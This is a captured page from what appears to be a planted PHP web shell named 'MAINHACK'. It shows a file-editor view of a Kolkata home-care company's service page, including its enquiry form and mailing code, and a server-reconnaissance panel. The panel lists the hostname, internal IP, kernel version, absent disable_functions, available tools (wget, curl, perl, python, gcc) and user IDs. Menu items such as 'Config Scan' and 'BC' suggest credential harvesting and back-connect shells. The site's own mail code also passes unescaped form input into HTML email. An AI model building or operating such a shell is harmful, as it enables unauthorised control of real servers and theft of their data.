[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: partime-service.php
<?php include("header.php"); ?> <!-- // Header include --> <!-- Inner Banner Start --> <div class="inner-banner"> <img src="images/inner-banner.png" alt=""> <div class="container"> <h2>Our <span>Services</span></h2> </div> </div> <!-- Service Start --> <div class="inner-service"> <div class="container"> <h4>Part-time / Full-time Services (Limited Pincodes in Kolkata only)</h4> <p>At Home Team, we are dedicated to providing exceptional home health care services that prioritize the well-being and comfort of our clients. With a profound commitment to enhancing lives through compassionate care, we offer a comprehensive range of services designed to cater to the unique needs of individuals and families. Our team of highly skilled professionals is dedicated to ensuring that our clients receive the highest quality care in the comfort of their own homes.</p> <div class="row"> <?php $count=1; $sr='service'; $stmt =$show->readwithdata($sr,'category','Part-time / Full-time Services'); $num = $stmt->rowCount(); if($num>0){ while ($row = $stmt->fetch(PDO::FETCH_ASSOC)){ extract($row); $id=$row['id']; ?> <?php if($count%2==0){?> <div class="service-block-box"> <div class="col-md-6 col-sm-6 col-xs-12"> <div class="service-content-image"> <img src="<?=$pic_img?>/<?=$row['image']?>"> </div> </div> <div class="col-md-6 col-sm-6 col-xs-12"> <div class="service-content-box"> <h3><?=$row['title']?></h3> <?=htmlspecialchars_decode($row['content'])?> <a href="" class="service-btn" data-toggle="modal" data-target="#myModal">Enquiry Now</a> </div> </div> </div> <?php }else{?> <div class="service-block-box"> <div class="col-md-6 col-sm-6 col-xs-12"> <div class="service-content-box"> <h3><?=$row['title']?></h3> <?=htmlspecialchars_decode($row['content'])?> <a href="" class="service-btn" data-toggle="modal" data-target="#myModal">Enquiry Now</a> </div> </div> <div class="col-md-6 col-sm-6 col-xs-12"> <div class="service-content-image"> <img src="<?=$pic_img?>/<?=$row['image']?>"> </div> </div> </div> <?php } ?> <?php ++$count;} } ?> </div> </div> </div> <!--Japa Care (Newborn) Services Pup-up--> <div id="myModal" class="modal fade pageloadPupup" role="dialog"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal">×</button> <img src="images/logo.png" alt="" class="" style=""> </div> <div class="modal-body"> <div class="col-md-3 col-sm-3 col-xs-12"> <div class="modal-images"> <ul> <li><img src="images/service-1.png"></li> <li><img src="images/service-2.png"></li> <li><img src="images/service-3.png"></li> <li><img src="images/service-4.png"></li> </ul> </div> </div> <div class="col-md-6 col-sm-6 col-xs-12"> <div class="modal-enquary"> <h3>Booking Enquiry Form</h3> <form method="post"> <div class="modal-enquary-form"> <label>Full Name</label> <input id="name" type="text" title="name" name="name" placeholder="Enter Your Full Name"> </div> <div class="modal-enquary-form"> <label>Phone</label> <input id="name" type="text" title="name" name="phone" placeholder="Enter Your Phone Number"> </div> <div class="modal-enquary-form"> <label>Email</label> <input id="email" type="email" title="email" name="email" placeholder="Enter Your Email ID"> </div> <div class="modal-enquary-form"> <label>Service Required</label> <select name="service"> <option value="">Choose Service</option> <option value="Japa Care (Newborn Services)">Japa Care (Newborn Services)</option> <option value="Nanny & Babysitter Services">Nanny & Babysitter Services</option> <option value="Home Nursing Care Services">Home Nursing Care Services</option> <option value="Home Nursing Care Services">Home Nursing Care Services</option> <option value="Elderly Care Assistant (ECA) Services">Elderly Care Assistant (ECA) Services</option> <option value="Elderly Care Assistant (ECA) Services">Elderly Care Assistant (ECA) Services</option> <option value="Tailored Medical Care Services">Tailored Medical Care Services</option> <option value="Ward Boy Services">Ward Boy Services</option> <option value="Office Boy Services (Standard working hours)">Office Boy Services (Standard working hours)</option> <option value="Domestic Help Service">Domestic Help Services</option> </select> </div> <div class="modal-enquary-form"> <label>City</label> <select name="city"> <option value="">Choose City</option> <option value="Kolkata">Kolkata</option> <option value="Asansol">Asansol</option> <option value="Siliguri">Siliguri</option> <option value="Durgapur">Durgapur</option> <option value="Bardhaman">Bardhaman</option> <option value="Malda">Malda</option> <option value="Habra">Habra</option> <option value="Shantipur">Shantipur</option> <option value="Krishnanagar">Krishnanagar</option> <option value="Ranaghat">Ranaghat</option> </select> </div> <div class="requirements"> <label>Requirement Details</label> <textarea placeholder="Any Special Requirements" name="requirements"></textarea> </div> <div class="modal-enquary-form checkbox"> <input id="name" type="checkbox" required> <a href="#">I Accept Terms and Condition</a> </div> <div class="modal-enquary-form enquary-btn"> <input type="submit" value="Submit" name="sub"> </div> </form> <?php if(isset($_POST['sub'])){ $data = array( 'name' => htmlspecialchars($_POST['name']), 'phone' => htmlspecialchars($_POST['phone']), 'email' => htmlspecialchars($_POST['email']), 'requirements' => htmlspecialchars($_POST['requirements']), 'city' => htmlspecialchars($_POST['city']), 'service' => htmlspecialchars($_POST['service']), ); // print_r($data); if($show->insert('enquiry',$data)){ echo '<script> setTimeout(function() { swal({ title: "Thank You !", text: "Your enquiry request has been confirmed. We will contact you soon.", type: "success" }, function() { window.location = "'.$_SERVER['REQUEST_URI'].'"; }); }, 1000); </script>'; $em=$_POST['email']; $email_subject = "enquiry Confirmation"; $em11='<html><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8">'; $email_content1="<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='https://www.w3.org/1999/xhtml'> <head> <title>Test Email Sample</title> <meta http–equiv='Content-Type' content='text/html; charset=UTF-8' /> <meta http–equiv='X-UA-Compatible' content='IE=edge' /> <meta name='viewport' content='width=device-width, initial-scale=1.0 ' /> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } </style> </head> <body style='background-color:f9f7f7; text-align:center;font-size:17px;'> <table style='margin-left: auto; margin-right: auto;border: 20px double #b5bcbf;width:600px; text-align:center;font-size:16px;'> <tr><td style='background-color:#e40046'> <img src='$company_logo' width='50%'></td></tr> <tr><td style='text-align:center;'> <h3 style='text-align: center;font-size: 17px; text-transform: uppercase;'>Welcome to $company_name</h3></td></tr> <tr><td text-align:center;font-size:14px;><br>Hi Admin,<br><br> New enquiry has been received.<br> Name:".$_POST['name']." <br> Email:".$_POST['email']." <br> Phone:".$_POST['phone']." <br> Requirement:".$_POST['requirements']." <br> <br><br><br><br> <br> </td></tr> </tr> </table> <p><b>$company_name</b><br> Web : $website<br> Email : $email<br> Phone : $phone<br> </p> <small>Copyright ©<?=date('Y')?> $company_name,$address. All rights reserved. </small> </body></html>"; $email_content=" <!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'> <html xmlns='https://www.w3.org/1999/xhtml'> <head> <title>Test Email Sample</title> <meta http–equiv='Content-Type' content='text/html; charset=UTF-8' /> <meta http–equiv='X-UA-Compatible' content='IE=edge' /> <meta name='viewport' content='width=device-width, initial-scale=1.0 ' /> <style> h2{ color:#000; font-size:26px; } #b{ width:500px; font-size:15px; } th{ background-color:#fff; } </style> </head> <body style='background-color:f9f7f7; text-align:center;font-size:17px;'> <table style='margin-left: auto; margin-right: auto;border: 20px double #b5bcbf;width:600px; text-align:center;font-size:16px;'> <tr><td style='background-color:#e40046'> <img src='$company_logo' width='50%'></td></tr> <tr><td style='text-align:center;'> <h3 style='text-align: center;font-size: 17px; text-transform: uppercase;'>Welcome to $company_name</h3></td></tr> <tr><td text-align:center;font-size:14px;><br>Hi ".$_POST['name'].",<br><br> Your enquiry with email id ".$em." has been successful. We will contact you soon. <br><br> <br><br><br><br> <br> </td></tr> </tr> </table> <p><b>$company_name</b><br> Web : $website<br> Email : $email<br> Phone : $phone<br> </p> <small>Copyright ©<?=date('Y')?> $company_name,$address. All rights reserved. </small> </body></html>"; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n"; if(@mail('info@hometeam354.in',$email_subject,$email_content1,$headers) && @mail($_POST['email'],$email_subject,$email_content,$headers)) { //echo "<script>alert('sent');</script>"; } else { } } } ?> </div> </div> <div class="col-md-3 col-sm-3 col-xs-12"> <div class="modal-images"> <ul> <li><img src="images/service-5.png"></li> <li><img src="images/service-6.png"></li> <li><img src="images/service-7.png"></li> <li><img src="images/service-8.png"></li> </ul> </div> </div> </div> </div> </div> </div> <script type="text/javascript"> jQuery(window).on('load', function() { jQuery('#myModal').modal('show'); }); </script> <!-- //Page load Pup-up--> <!-- Footer include --> <?php include("footer.php"); ?> <!-- // Footer include -->
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.53 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619